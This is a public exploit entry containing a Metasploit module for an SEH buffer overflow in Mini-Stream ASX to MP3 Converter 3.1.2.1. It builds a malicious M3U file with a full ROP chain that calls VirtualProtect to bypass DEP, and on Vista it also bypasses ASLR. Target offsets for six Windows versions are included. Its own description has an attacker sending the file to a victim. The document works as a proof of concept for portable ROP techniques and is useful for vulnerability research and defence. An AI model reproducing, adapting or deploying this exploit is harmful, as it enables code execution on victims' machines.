ASX to MP3 Converter 3.1.2.1 - SEH Exploit (Multiple OS - DEP and ASLR Bypass)



# Exploit Title:     ASX to MP3 Converter v3.1.2.1 SEH Exploit (Multiple OS, DEP and ASLR Bypass)

# Date:              July 13, 2010
# Author:            Node
# Software Link:     http://www.mini-stream.net/downloads/ASXtoMP3Converter.exe
# Version:           Mini-Stream Software ASX to MP3 Converter v3.1.2.1.2010.03.30 Evaluation
# Tested on:         Windows Vista Ultimate SP1 Eng
#                    Windows Vista Ultimate SP2 Eng
#                    Windows XP Pro SP3 Eng
#                    Windows XP Pro SP2 Swe
#                    Windows XP Pro SP3 Swe
#                    Windows XP Home SP3 Swe
# CVE :
# Notes:             This is a proof of concept that it is possible to write ROP exploits 
#                    that are portable to different operating systems. This exploit is 
#                    using the following variables: 
#
#                    1. "Offset":    The offset to the SEH overwrite
#                    2. "Offset2":   The offset before the ROP code starts in the buffer
#                    3. "K32Offset": The offset to the kernel32 pointer on the stack
#                    4. "VPOffset":  The offset to VirtualProtect() from the grabbed 
#                                    kernel32 address
#                    5. "ASLR":      Activates or deactivates the ASLR bypassing ROP code 
#
#                    The K32Offset and VPOffset are negged hex-numbers, to evade the 
#                    null-byte problem. In the first target, K32Offset is "0xfffebcac" 
#                    which gets converted in the ROP code to 0x00014354 (82772), which is 
#                    how much the saved ESP address needs to be subtracted, to point to 
#                    the kernel32 address. VPOffset is how much the Kernel32 address 
#                    needs to be subtracted, to point to the VirtualProtect() function. 
#                    If "ASLR" is false, "VPOffset" will be treated as the direct, 
#                    non-negged address to VirtualProtect() in Kernel32.dll.
# Code:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Mini-Stream Software ASX to MP3 Converter v3.1.2.1 SEH Buffer Overflow.',
            'Description'    => %q{
                    This module exploits a SEH-based buffer overflow in ASX to MP3 Converter 
                    v.3.1.2.1. An attacker must send the file to victim, and the victim must open
                    the specially crafted M3U file. This exploit is written with ROP gadgets from 
                    MSA2Mfilter03.dll and bypasses DEP on all systems including ASLR on Vista.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'Node' ],
            'Version'        => '$Revision: 99999 $',
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "\x00\x0a\x0d",
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'ASX to MP3 Converter v3.1.2.1 on Windows Vista Ultimate SP1 Eng x86',      
                        {'Offset' => 43511,
                        'Offset2' =>  16339, 
                        'K32Offset' => 0xfffebcac,
                        'VPOffset' => 0xfffe4e9c,
                        'ASLR' => true } ],
                    [ 'ASX to MP3 Converter v3.1.2.1 on Windows Vista Ultimate SP2 Eng x86',      
                        {'Offset' => 43511,
                        'Offset2' =>  16339, 
                        'K32Offset' => 0xfffebcac,
                        'VPOffset' => 0xfffe5bf0,
                        'ASLR' => true } ],
                    [ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Pro SP3 Eng x86',     
                        {'Offset' => 43484,
                        'Offset2' =>  16312,
                        'VPOffset' => 0x7c801ad4,
                        'ASLR' => false } ],
                    [ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Pro SP2 Swe x86',     
                        {'Offset' => 43476,
                        'Offset2' =>  16304,
                        'VPOffset' => 0x7c801ad0,
                        'ASLR' => false } ],
                    [ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Pro SP3 Swe x86',     
                        {'Offset' => 43491,
                        'Offset2' =>  16319,
                        'VPOffset' => 0x7c801ad4,
                        'ASLR' => false } ],
                    [ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Home SP3 Swe x86',     
                        {'Offset' => 43476,
                        'Offset2' =>  16304,
                        'VPOffset' => 0x7c801ad4,
                        'ASLR' => false } ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => '',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.',  'asx2mp3.m3u']),
            ], self.class)
    end

    def exploit

        rop = [0x1002F7B7].pack('V')  # PUSH ESP # AND AL,0C # NEG EDX # NEG EAX # SBB EDX,0 # POP EBX # RETN 10
        rop << [0x10023315].pack('V') # ADD ESP,20 # RETN  
        rop << "1111" # VirtualProtect() placeholder
        rop << "2222" #return address placeholder
        rop << "3333" #lpAddress placeholder
        rop << "4444" #dwsize placeholder
        rop << "5555" #flNewProtect placeholder
        rop << [0x10066005].pack('V') # lpflOldProtect writable address
        rop << "A" * 8
        rop << "A" * 16 # because of RETN 10
        rop << [0x1002991C].pack('V') # XOR EDX,EDX # RETN
        rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
        rop << "A" * 4
        rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
        rop << "A" * 16
        
        
        if target['ASLR'] == true
            rop << [0x1002A649].pack('V')  # POP EAX # RETN
            rop << [target['K32Offset']].pack('V')
            rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
            rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
            rop << "A" * 8
            rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
            rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN 
            rop << [0x100130C4].pack('V')  # MOV ECX,DWORD PTR DS:[EAX] # ADD BYTE PTR DS:[EAX],AL # POP EBP # POP EBX # RETN
            rop << "A" * 8
            rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
            rop << [0x1002C86A].pack('V')  # SUB EAX,ECX # RETN
            rop << [0x10027F59].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # RETN
            rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
            rop << "A" * 8
        end

        rop << [0x100115AA].pack('V')  # POP EBX # RETN
        rop << [0xffffffff].pack('V')
        rop << [0x10014548].pack('V')  # XOR EAX,EAX # RETN
        rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
        rop << [0x10016C87].pack('V')  # INC EAX # RETN
        rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
        rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
        rop << "A" * 4
        rop << [0x1002A649].pack('V')  # POP EAX # RETN
        rop << "A" * 16

        rop << [target['VPOffset']].pack('V')

        if target['ASLR'] == true
            rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
            rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
            rop << "A" * 8
            rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
            rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN 
            rop << [0x100130C4].pack('V')  # MOV ECX,DWORD PTR DS:[EAX] # ADD BYTE PTR DS:[EAX],AL # POP EBP #POP EBX # RETN
            rop << "A" * 8
            rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
            rop << [0x10027F59].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # RETN
            rop << [0x1002C86A].pack('V')  # SUB EAX,ECX # RETN
        end
 
        rop << [0x10019AA7].pack('V')  # MOV DWORD PTR DS:[EDX],EAX # POP EDI # XOR EAX,EAX # POP EBP # ADD ESP,40         # RETN
        rop << "A" * 8
        rop << "A" * 64
        rop << [0x1002A649].pack('V')  # POP EAX # RETN
        rop << [0xffff95c8].pack('V') # negged shellcode offset
        rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
        rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
        rop << "A" * 8
        rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
        rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN 
        rop << [0x100130C4].pack('V')  # MOV ECX,DWORD PTR DS:[EAX] # ADD BYTE PTR DS:[EAX],AL # POP EBP # POP EBX # RETN
        rop << "A" * 8
        rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
        rop << [0x1001451E].pack('V')  # ADD EAX,ECX # RETN
        rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
        rop << "A" * 8
        rop << [0x100115AA].pack('V')  # POP EBX # RETN
        rop << [0xffffffff].pack('V')
        rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
        rop << [0x10016C87].pack('V')  # INC EAX # RETN
        rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
        rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
        rop << "A" * 4
        rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
        rop << "A" * 16    
        rop << [0x10027F59].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # RETN
        rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
        rop << "A" * 8
        rop << [0x100115AA].pack('V')  # POP EBX # RETN
        rop << [0xffffffff].pack('V')
        rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
        rop << [0x10016C87].pack('V')  # INC EAX # RETN
        rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
        rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
        rop << "A" * 4
        rop << [0x1002A649].pack('V')  # POP EAX # RETN
        rop << "A" * 16
        rop << [0xfffffc18].pack('V') # 0x3e8(1000].pack('V') negged
        rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
        rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
        rop << "A" * 8
        rop << [0x100115AA].pack('V')  # POP EBX # RETN
        rop << [0xffffffff].pack('V')
        rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
        rop << [0x10016C87].pack('V')  # INC EAX # RETN
        rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
        rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
        rop << "A" * 4
        rop << [0x1002A649].pack('V')  # POP EAX # RETN
        rop << "A" * 16
        rop << [0xffffffc0].pack('V') # 0x40 negged
        rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
        rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
        rop << "A" * 8
        rop << [0x100115AA].pack('V')  # POP EBX # RETN
        rop << [0xffffffff].pack('V')
        rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
        rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
        rop << [0x10016C87].pack('V')  # INC EAX # RETN
        rop << [0x10016C87].pack('V')  # INC EAX # RETN
        rop << [0x10016C87].pack('V')  # INC EAX # RETN
        rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
        rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
        rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
        rop << "A" * 4
        rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
        rop << "A" * 16
        rop << [0x1002FE81].pack('V')  # XCHG EAX,ESP # RETN

        junk = rand_text_alpha_upper(target['Offset2']) #needed because of ADD ESP,4404 # RETN
        junktoseh = rand_text_alpha_upper(target['Offset'] - junk.length - rop.length)
        seh = [0x100177EA].pack('V') #ADD ESP,4404 # RETN
        nops = "\x90" * 24
        shellspace = rand_text_alpha_upper(1000 - payload.encoded.length)
        m3ufile = junk + rop + junktoseh + seh + nops + payload.encoded + shellspace
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(m3ufile)

    end

end